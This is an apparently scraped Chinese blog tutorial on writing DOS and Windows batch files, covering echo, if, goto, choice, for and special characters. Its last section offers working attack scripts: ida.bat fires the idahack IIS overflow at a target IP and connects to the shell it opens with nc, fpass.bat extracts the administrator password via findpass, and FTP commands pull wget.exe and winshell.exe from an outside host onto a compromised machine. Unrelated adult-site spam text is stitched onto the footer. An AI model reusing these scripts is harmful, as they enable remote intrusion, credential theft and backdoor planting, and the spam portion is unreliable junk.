<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    gembin

    OSGi, Eclipse Equinox, ECF, Virgo, Gemini, Apache Felix, Karaf, Aires, Camel, Eclipse RCP

    HBase, Hadoop, ZooKeeper, Cassandra

    Flex4, AS3, Swiz framework, GraniteDS, BlazeDS etc.

    There is nothing that software can't fix. Unfortunately, there is also nothing that software can't completely fuck up. That gap is called talent.

    About Me

     

    BAT編寫詳細手冊

    首先,批處理文件是一個文本文件,這個文件的每一行都是一條DOS命令(大部分時候就好象我們在DOS提示符下執(zhí)行的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創(chuàng)建和修改批處理文件。

    其次,批處理文件是一種簡單的程序,可以通過條件語句(if)和流程控制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環(huán) 語句(for)來循環(huán)執(zhí)行一條命令。當然,批處理文件的編程能力與C語言等編程語句比起來是十分有限的,也是十分不規(guī)范的。批處理的程序語句就是一條條的 DOS命令(包括內(nèi)部命令和外部命令),而批處理的能力主要取決于你所使用的命令。

    第三,每個編寫好的批處理文件都相當于一個DOS的外部命令,你可以把它所在的目錄放到你的DOS搜索路徑(path)中來使得它可以在 任意位置運行。一個良好的習慣是在硬盤上建立一個bat或者batch 目錄(例如C:\BATCH),然后將所有你編寫的批處理文件放到該目錄中,這樣只要在path中設置上c:\batch,你就可以在任意位置運行所有你 編寫的批處理程序。

    第四,在DOS和Win9x/Me系統(tǒng)下,C:盤根目錄下的AUTOEXEC.BAT批處理文件是自動運行批處理文件,每次系統(tǒng)啟動時會 自動運行該文件,你可以將系統(tǒng)每次啟動時都要運行的命令放入該文件中,例如設置搜索路徑,調(diào)入鼠標驅(qū)動和磁盤緩存,設置系統(tǒng)環(huán)境變量等。下面是一個運行于 Windows 98下的autoexec.bat的示例:

    @ECHO OFF

    PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

    LH SMARTDRV.EXE /X

    LH DOSKEY.COM /INSERT

    LH CTMOUSE.EXE

    SET TEMP=D:\TEMP

    SET TMP=D:\TEMP

    批處理的作用

    簡單的說,批處理的作用就是自動的連續(xù)執(zhí)行多條命令。

    這里先講一個最簡單的應用:在啟動wps軟件時,每次都必須執(zhí)行(>前面內(nèi)容表示DOS提示符):

    C:\>cd wps

    C:\WPS>spdos

    C:\WPS>py

    C:\WPS>wbx

    C:\WPS>wps

    如果每次用WPS之前都這樣執(zhí)行一遍,您是不是覺得很麻煩呢?

    好了,用批處理,就可以實現(xiàn)將這些麻煩的操作簡單化,首先我們編寫一個runwps.bat批處理文件,內(nèi)容如下:

    @echo off

    c:

    cd\wps

    spdos

    py

    wbx

    wps

    cd\

    以后,我們每次進入wps,只需要運行runwps這個批處理文件即可。

    常用命令

    echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個命令,我們就從他們開始學起。

    echo 表示顯示此命令后的字符

    echo off 表示在此語句后所有運行的命令都不顯示命令行本身

    @與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。

    call 調(diào)用另一個批處理文件(如果不用call而直接調(diào)用別的批處理文件,那么執(zhí)行完那個批處理文件后將無法返回當前文件并執(zhí)行當前文件的后續(xù)命令)。

    pause 運行此句會暫停批處理的執(zhí)行并在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵后繼續(xù)

    rem 表示此命令后的字符為解釋行(注釋),不執(zhí)行,只是給自己今后參考用的(相當于程序中的注釋)。

    例1:用edit編輯a.bat文件,輸入下列內(nèi)容后存盤為c:\a.bat,執(zhí)行該批處理文件后可實現(xiàn):將根目錄中所有文件寫入 a.txt中,啟動UCDOS,進入WPS等功能。

      批處理文件的內(nèi)容為: 命令注釋:

    @echo off           不顯示后續(xù)命令行及當前命令行

    dir c:\*.* >a.txt       將c盤文件列表寫入a.txt

    call c:\ucdos\ucdos.bat    調(diào)用ucdos

    echo 你好 顯示"你好"

    pause 暫停,等待按鍵繼續(xù)

    rem 準備運行wps 注釋:準備運行wps

    cd ucdos 進入ucdos目錄

    wps 運行wps

    批處理文件的參數(shù)

    批處理文件還可以像C語言的函數(shù)一樣使用參數(shù)(相當于DOS命令的命令行參數(shù)),這需要用到一個參數(shù)表示符"%"。

    %[1-9]表示參數(shù),參數(shù)是指在運行批處理文件時在文件名后加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數(shù)字符串用%1到%9順序表示。

    例2:C:根目錄下有一批處理文件名為f.bat,內(nèi)容為:

    @echo off

    format %1

    如果執(zhí)行C:\>f a:

    那么在執(zhí)行f.bat時,%1就表示a:,這樣format %1就相當于format a:,于是上面的命令運行時實際執(zhí)行的是format a:

    例3:C:根目錄下一批處理文件名為t.bat,內(nèi)容為:

    @echo off

    type %1

    type %2

    那么運行C:\>t a.txt b.txt

    %1 : 表示a.txt

    %2 : 表示b.txt

    于是上面的命令將順序地顯示a.txt和b.txt文件的內(nèi)容。

    特殊命令

    if goto choice for是批處理文件中比較高級的命令,如果這幾個你用得很熟練,你就是批處理文件的專家啦。

    一、if 是條件語句,用來判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:

    1、if [not] "參數(shù)" == "字符串" 待執(zhí)行的命令

    參數(shù)如果等于(not表示不等,下同)指定的字符串,則條件成立,運行命令,否則運行下一句。

    例:if "%1"=="a" format a:

    2、if [not] exist [路徑\]文件名 待執(zhí)行的命令

    如果有指定的文件,則條件成立,運行命令,否則運行下一句。

    如: if exist c:\config.sys type c:\config.sys

    表示如果存在c:\config.sys文件,則顯示它的內(nèi)容。

    3、if errorlevel <數(shù)字> 待執(zhí)行的命令

    很多DOS程序在運行結(jié)束后會返回一個數(shù)字值用來表示程序運行的結(jié)果(或者狀態(tài)),通過if errorlevel命令可以判斷程序的返回值,根據(jù)不同的返回值來決定執(zhí)行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等于指定的數(shù) 字,則條件成立,運行命令,否則運行下一句。

    如if errorlevel 2 goto x2

    二、goto 批處理文件運行到這里將跳到goto所指定的標號(標號即label,標號用:后跟標準字符串來定義)處,goto語句一般與if配合使用,根據(jù)不同的條件來執(zhí)行不同的命令組。

    如:

    goto end

    :end

    echo this is the end

    標號用":字符串"來定義,標號所在行不被執(zhí)行。

    三、choice 使用此命令可以讓用戶輸入一個字符(用于選擇),從而根據(jù)用戶的選擇返回不同的errorlevel,然后于if errorlevel配合,根據(jù)用戶的選擇運行不同的命令。

    注意:choice命令為DOS或者Windows系統(tǒng)提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?查看用法。

    choice的命令語法(該語法為Windows 2003中choice命令的語法,其它版本的choice的命令語法與此大同小異):

    CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

    描述:

    該工具允許用戶從選擇列表選擇一個項目并返回所選項目的索引。

    參數(shù)列表:

    /C choices 指定要創(chuàng)建的選項列表。默認列表是 "YN"。

    /N         在提示符中隱藏選項列表。提示前面的消息得到顯示,選項依舊處于啟用狀態(tài)。

    /CS 允許選擇分大小寫的選項。在默認情況下,這個工具是不分大小寫的。

    /T timeout 做出默認選擇之前,暫停的秒數(shù)。可接受的值是從 0 到 9999。如果指定了 0,就不會有暫停,默認選項

               會得到選擇。

    /D choice    在 nnnn 秒之后指定默認選項。字符必須在用 /C 選項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。

    /M text     指定提示之前要顯示的消息。如果沒有指定,工具只顯示提示。

    /?         顯示幫助消息。

     注意:

    ERRORLEVEL 環(huán)境變量被設置為從選擇集選擇的鍵索引。列出的第一個選擇返回 1,第二個選擇返回 2,等等。如果用戶按的鍵不是有效的選擇,該工具會發(fā)出警告響聲。如果該工具檢測到錯誤狀態(tài),它會返回 255 的ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會返回 0 的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數(shù)時,將參數(shù)降序排列。

    示例:

    CHOICE /?

    CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"

    CHOICE /T 10 /C ync /CS /D y

    CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。"

    CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。"

    如果我運行命令:CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"

    屏幕上會顯示:

    確認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]?

    例:test.bat的內(nèi)容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列):

    @echo off

    choice /C dme /M "defrag,mem,end"

    if errorlevel 3 goto end

    if errorlevel 2 goto mem

    if errotlevel 1 goto defrag

    :defrag

    c:\dos\defrag

    goto end

    :mem

    mem

    goto end

    :end

    echo good bye

    此批處理運行后,將顯示"defrag,mem,end[D,M,E]?" ,用戶可選擇d m e ,然后if語句根據(jù)用戶的選擇作出判斷,d表示執(zhí)行標號為defrag的程序段,m表示執(zhí)行標號為mem的程序段,e表示執(zhí)行標號為end的程序段,每個 程序段最后都以goto end將程序跳到end標號處,然后程序?qū)@示good bye,批處理運行結(jié)束。

    四、for 循環(huán)命令,只要條件符合,它將多次執(zhí)行同一命令。

    語法:

    對一組文件中的每一個文件執(zhí)行某個特定命令。

    FOR %%variable IN (set) DO command [command-parameters]

    %%variable    指定一個單一字母可替換的參數(shù)。

    (set)      指定一個或一組文件。可以使用通配符。

    command     指定對每個文件執(zhí)行的命令。

    command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。

    例如一個批處理文件中有一行:

    for %%c in (*.bat *.txt) do type %%c

    則該命令行會顯示當前目錄下所有以bat和txt為擴展名的文件的內(nèi)容。

    批處理示例

    1. IF-EXIST

    1)

    首先用記事本在C:\建立一個test1.bat批處理文件,文件內(nèi)容如下:

    @echo off

    IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

    IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

    然后運行它:

    C:\>TEST1.BAT

    如果C:\存在AUTOEXEC.BAT文件,那么它的內(nèi)容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。

    2)

    接著再建立一個test2.bat文件,內(nèi)容如下:

    @ECHO OFF

    IF EXIST \%1 TYPE \%1

    IF NOT EXIST \%1 ECHO \%1 does not exist

    執(zhí)行:

    C:\>TEST2 AUTOEXEC.BAT

    該命令運行結(jié)果同上。

    說明:

    (1) IF EXIST 是用來測試文件是否存在的,格式為

    IF EXIST [路徑+文件名] 命令

    (2) test2.bat文件中的%1是參數(shù),DOS允許傳遞9個批參數(shù)信息給批處理文件,分別為%1~%9(%0表示test2命令本身) ,這有點象編程中的實參和形參的關(guān)系,%1是形參,AUTOEXEC.BAT是實參。

    3) 更進一步的,建立一個名為TEST3.BAT的文件,內(nèi)容如下:

    @echo off

    IF "%1" == "A" ECHO XIAO

    IF "%2" == "B" ECHO TIAN

    IF "%3" == "C" ECHO XIN

    如果運行:

    C:\>TEST3 A B C

    屏幕上會顯示:

    XIAO

    TIAN

    XIN

    如果運行:

    C:\>TEST3 A B

    屏幕上會顯示

    XIAO

    TIAN

    在這個命令執(zhí)行過程中,DOS會將一個空字符串指定給參數(shù)%3。

    2、IF-ERRORLEVEL

    建立TEST4.BAT,內(nèi)容如下:

    @ECHO OFF

    XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗

    IF ERRORLEVEL 0 ECHO 成功拷貝文件

    然后執(zhí)行文件:

    C:\>TEST4

    如果文件拷貝成功,屏幕就會顯示"成功拷貝文件",否則就會顯示"文件拷貝失敗"。

    IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯誤的:

    @ECHO OFF

    XCOPY C:\AUTOEXEC.BAT D:\

    IF ERRORLEVEL 0 ECHO 成功拷貝文件

    IF ERRORLEVEL 1 ECHO 未找到拷貝文件

    IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作

    IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作

    IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤

    無論拷貝是否成功,后面的:

    未找到拷貝文件

    用戶通過ctrl-c中止拷貝操作

    預置錯誤阻止文件拷貝操作

    拷貝過程中寫盤錯誤

    都將顯示出來。

    以下就是幾個常用命令的返回值及其代表的意義:

    backup

    0 備份成功

    1 未找到備份文件

    2 文件共享沖突阻止備份完成

    3 用戶用ctrl-c中止備份

    4 由于致命的錯誤使備份操作中止

    diskcomp

    0 盤比較相同

    1 盤比較不同

    2 用戶通過ctrl-c中止比較操作

    3 由于致命的錯誤使比較操作中止

    4 預置錯誤中止比較

    diskcopy

    0 盤拷貝操作成功

    1 非致命盤讀/寫錯

    2 用戶通過ctrl-c結(jié)束拷貝操作

    3 因致命的處理錯誤使盤拷貝中止

    4 預置錯誤阻止拷貝操作

    format

    0 格式化成功

    3 用戶通過ctrl-c中止格式化處理

    4 因致命的處理錯誤使格式化中止

    5 在提示"proceed with format(y/n)?"下用戶鍵入n結(jié)束

    xcopy

    0 成功拷貝文件

    1 未找到拷貝文件

    2 用戶通過ctrl-c中止拷貝操作

    4 預置錯誤阻止文件拷貝操作

    5 拷貝過程中寫盤錯誤

    3、IF STRING1 == STRING2

    建立TEST5.BAT,文件內(nèi)容如下:

    @echo off

    IF "%1" == "A" formAT A:

    執(zhí)行:

    C:\>TEST5 A

    屏幕上就出現(xiàn)是否將A:盤格式化的內(nèi)容。

    注意:為了防止參數(shù)為空的情況,一般會將字符串用雙引號(或者其它符號,注意不能使用保留符號)括起來。

    如:if [%1]==[A] 或者 if %1*==A*

    5、GOTO

    建立TEST6.BAT,文件內(nèi)容如下:

    @ECHO OFF

    IF EXIST C:\AUTOEXEC.BAT GOTO _COPY

    GOTO _DONE

    :_COPY

    COPY C:\AUTOEXEC.BAT D:\

    :_DONE

    注意:

    (1) 標號前是ASCII字符的冒號":",冒號與標號之間不能有空格。

    (2) 標號的命名規(guī)則與文件名的命名規(guī)則相同。

    (3) DOS支持最長八位字符的標號,當無法區(qū)別兩個標號時,將跳轉(zhuǎn)至最近的一個標號。

    6、FOR

    建立C:\TEST7.BAT,文件內(nèi)容如下:

    @ECHO OFF

    FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

    運行:

    C:>TEST7

    執(zhí)行以后,屏幕上會將C:盤根目錄下所有以BAT、TXT、SYS為擴展名的文件內(nèi)容顯示出來(不包括隱藏文件)。

    win2000命令行方式批處理BAT文件技巧

    文章結(jié)構(gòu)

    1. 所有內(nèi)置命令的幫助信息

    2. 環(huán)境變量的概念

    3. 內(nèi)置的特殊符號(實際使用中間注意避開)

    4. 簡單批處理文件概念

    5. 附件1 tmp.txt

    6. 附件2 sample.bat

    ###########################

    1. 所有內(nèi)置命令的幫助信息

    ###########################

    ver

    cmd /?

    set /?

    rem /?

    if /?

    echo /?

    goto /?

    for /?

    shift /?

    call /?

    其他需要的常用命令

    type /?

    find /?

    findstr /?

    copy /?

    下面將所有上面的幫助輸出到一個文件

    echo ver >tmp.txt

    ver >>tmp.txt

    echo cmd /? >>tmp.txt

    cmd /? >>tmp.txt

    echo rem /? >>tmp.txt

    rem /? >>tmp.txt

    echo if /? >>tmp.txt

    if /? >>tmp.txt

    echo goto /? >>tmp.txt

    goto /? >>tmp.txt

    echo for /? >>tmp.txt

    for /? >>tmp.txt

    echo shift /? >>tmp.txt

    shift /? >>tmp.txt

    echo call /? >>tmp.txt

    call /? >>tmp.txt

    echo type /? >>tmp.txt

    type /? >>tmp.txt

    echo find /? >>tmp.txt

    find /? >>tmp.txt

    echo findstr /? >>tmp.txt

    findstr /? >>tmp.txt

    echo copy /? >>tmp.txt

    copy /? >>tmp.txt

    type tmp.txt

    #############################

    2. 環(huán)境變量的概念

    #############################

    C:\Program Files>set

    ALLUSERSPROFILE=C:\Documents and Settings\All Users

    CommonProgramFiles=C:\Program Files\Common Files

    COMPUTERNAME=FIRST

    ComSpec=C:\WINNT\system32\cmd.exe

    NUMBER_OF_PROCESSORS=1

    OS=Windows_NT

    Os2LibPath=C:\WINNT\system32\os2\dll;

    Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

    PROCESSOR_ARCHITECTURE=x86

    PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

    PROCESSOR_LEVEL=6

    PROCESSOR_REVISION=0605

    ProgramFiles=C:\Program Files

    PROMPT=$P$G

    SystemDrive=C:

    SystemRoot=C:\WINNT

    TEMP=C:\WINNT\TEMP

    TMP=C:\WINNT\TEMP

    USERPROFILE=C:\Documents and Settings\Default User

    windir=C:\WINNT

    path: 表示可執(zhí)行程序的搜索路徑. 我的建議是你把你的程序copy 到

    %windir%\system32\. 這個目錄里面. 一般就可以自動搜索到.

    語法: copy mychenxu.exe %windir%\system32\.

    使用點(.) 便于一目了然

    對環(huán)境變量的引用使用(英文模式,半角)雙引號

    %windir% 變量

    %%windir%% 二次變量引用.

    我們常用的還有

    %temp% 臨時文件目錄

    %windir% 系統(tǒng)目錄

    %errorlevel% 退出代碼

    輸出文件到臨時文件目錄里面.這樣便于當前目錄整潔.

    對有空格的參數(shù). 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作

    C:\>dir p*

    C:\ 的目錄

    2000-09-02 11:47 2,164 PDOS.DEF

    1999-01-03 00:47 <DIR> Program Files

    1 個文件 2,164 字節(jié)

    1 個目錄 1,505,997,824 可用字節(jié)

    C:\>cd pro*

    C:\Program Files>

    C:\>

    C:\>cd "Program Files"

    C:\Program Files>

    ############################################

    3. 內(nèi)置的特殊符號(實際使用中間注意避開)

    ############################################

    微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用

    con nul aux \ / | || && ^ > < *

    You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

    (大意: 要么你使用^作為前導字符表示.或者就只有使用雙引號""了)

    To create the variable value new&name, type:

    set varname=new^&name

    To create the variable value "new&name", type:

    set varname="new&name"

    The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

    find "Pacific Rim" < trade.txt > nwtrade.txt

    IF EXIST filename. (del filename.) ELSE echo filename. missing

    > 創(chuàng)建一個文件

    >> 追加到一個文件后面

    @ 前綴字符.表示執(zhí)行時本行在cmd里面不顯示, 可以使用 echo off關(guān)閉顯示

    ^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb

    echo 123456 ^> aaa

    echo 1231231 > bbb

    () 包含命令

    (echo aa & echo bb)

    , 和空格一樣的缺省分隔符號.

    ; 注釋,表示后面為注釋

    : 標號作用

    | 管道操作

    & Usage:第一條命令 & 第二條命令 [& 第三條命令...]

    用這種方法可以同時執(zhí)行多條命令,而不管命令是否執(zhí)行成功

    dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

    && Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

    當碰到執(zhí)行出錯的命令后將不執(zhí)行后面的命令,如果一直沒有出錯則一直執(zhí)行完所有命令;

    || Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

    當碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;

    常用語法格式

    IF [NOT] ERRORLEVEL number command para1 para2

    IF [NOT] string1==string2 command para1 para2

    IF [NOT] EXIST filename command para1 para2

    IF EXIST filename command para1 para2

    IF NOT EXIST filename command para1 para2

    IF "%1"=="" goto END

    IF "%1"=="net" goto NET

    IF NOT "%2"=="net" goto OTHER

    IF ERRORLEVEL 1 command para1 para2

    IF NOT ERRORLEVEL 1 command para1 para2

    FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

    按照字母順序 ijklmnopq依次取參數(shù).

    eol=c - 指一個行注釋字符的結(jié)尾(就一個)

    skip=n - 指在文件開始時忽略的行數(shù)。

    delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。

    ########################

    4. 簡單批處理文件概念

    ########################

    echo This is test > a.txt

    type a.txt

    echo This is test 11111 >> a.txt

    type a.txt

    echo This is test 22222 > a.txt

    type a.txt

    第二個echo是追加

    第三個echo將清空a.txt 重新創(chuàng)建 a.txt

    netstat -n | find "3389"

    這個將要列出所有連接3389的用戶的ip.

    ________________test.bat______

    @echo please care

    echo plese care 1111

    echo plese care 2222

    echo plese care 3333

    @echo please care

    @echo plese care 1111

    @echo plese care 2222

    @echo plese care 3333

    rem 不顯示注釋語句,本行顯示

    @rem 不顯示注釋語句,本行不顯示

    @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

    @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

    _____________________________

    下面我們以具體的一個idahack程序就是ida遠程溢出為例子.應該是很簡單的.

    ___________________ida.bat_____

    @rem ver 1.0

    @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

    @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

    @if "%1" =="" goto USAGE

    @if NOT "%2" =="" goto SP2

    :start

    @echo Now start ...

    @ping %1

    @echo chinese win2k:1 sp1:2 sp2:3

    idahack.exe %1 80 1 99 >%temp%\_tmp

    @echo "prog exit code [%errorlevel%] idahack.exe"

    @type %temp%\_tmp

    @find "good luck :)" %temp%\_tmp

    @echo "prog exit code [%errorlevel%] find [goog luck]"

    @if NOT errorlevel 1 nc.exe %1 99

    @goto END

    :SP2

    @idahack.exe %1 80 %2 99 %temp%\_tmp

    @type %temp%\_tmp

    @find "good luck :)" %temp%\_tmp

    @if NOT errorlevel 1 nc.exe %1 99

    @goto END

    :USAGE

    @echo Example: ida.bat IP

    @echo Example: ida.bat IP (2,3)

    :END

    _____________________ida.bat__END_______

    下面我們再來第二個文件.就是得到administrator的口令.

    大多數(shù)人說得不到.其實是自己的沒有輸入正確的信息.

    ___________________________fpass.bat____________________________________________

    @rem ver 1.0

    @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"

    @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

    @echo start....

    @echo ____________________________________

    @if "%1"=="" goto USAGE

    @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

    @echo "prog exit code [%errorlevel%] findpass.exe"

    @type %temp%\_findpass.txt

    @echo ________________________________Here__pass★★★★★★★★

    @ipconfig /all >>%temp%\_findpass.txt

    @goto END

    :USAGE

    @pulist.exe >%temp%\_pass.txt

    @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

    @echo "Example: fpass.bat %1 %2 %3 %4 !!!"

    @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

    :END

    @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

    @echo " fpass.bat end [%errorlevel%] !"

    _________________fpass.bat___END___________________________________________________________

    還有一個就是已經(jīng)通過telnet登陸了一個遠程主機.怎樣上傳文件(win)

    依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然后就等待吧!!

    echo open 210.64.x.4 3396>w

    echo read>>w

    echo read>>w

    echo cd winnt>>w

    echo binary>>w

    echo pwd >>w

    echo get wget.exe >>w

    echo get winshell.exe >>w

    echo get any.exe >>w

    echo quit >>w

    ftp -s:w

    posted on 2008-07-09 00:10 gembin 閱讀(1002) 評論(0)  編輯  收藏 所屬分類: 其他

    導航

    統(tǒng)計

    常用鏈接

    留言簿(6)

    隨筆分類(440)

    隨筆檔案(378)

    文章檔案(6)

    新聞檔案(1)

    相冊

    收藏夾(9)

    Adobe

    Android

    AS3

    Blog-Links

    Build

    Design Pattern

    Eclipse

    Favorite Links

    Flickr

    Game Dev

    HBase

    Identity Management

    IT resources

    JEE

    Language

    OpenID

    OSGi

    SOA

    Version Control

    最新隨筆

    搜索

    積分與排名

    最新評論

    閱讀排行榜

    評論排行榜

    free counters
    主站蜘蛛池模板: 亚洲人成网站在线观看青青| 久99精品视频在线观看婷亚洲片国产一区一级在线 | 一级毛片不卡免费看老司机| 亚洲理论电影在线观看| 免费看h片的网站| 大桥未久亚洲无av码在线| 狠狠综合久久综合88亚洲| 97性无码区免费| 一级做a爱过程免费视| 久久亚洲精品中文字幕| 国产又大又长又粗又硬的免费视频| 两性色午夜视频免费网| 亚洲视频无码高清在线| 永久亚洲成a人片777777| 在线观看免费人成视频色| 国产无遮挡又黄又爽免费网站| 亚洲中文久久精品无码1| 色噜噜亚洲精品中文字幕| 成人a视频片在线观看免费| 你是我的城池营垒免费观看完整版| 33333在线亚洲| 亚洲av中文无码乱人伦在线咪咕| 全免费a级毛片免费看不卡| 少妇无码一区二区三区免费| 美女羞羞视频免费网站| 亚洲一卡2卡3卡4卡国产网站| 亚洲欧洲国产精品香蕉网| 国产女高清在线看免费观看| 国内精自视频品线六区免费 | 午夜高清免费在线观看| 日本免费高清视频| 曰批免费视频播放在线看片二| 久久精品国产亚洲AV高清热| 黑人大战亚洲人精品一区| 亚洲av成人一区二区三区在线观看| 久草视频免费在线| 99视频在线精品免费| 三年片免费高清版| 十八禁的黄污污免费网站| 亚洲国产成人久久一区二区三区| 亚洲精品不卡视频|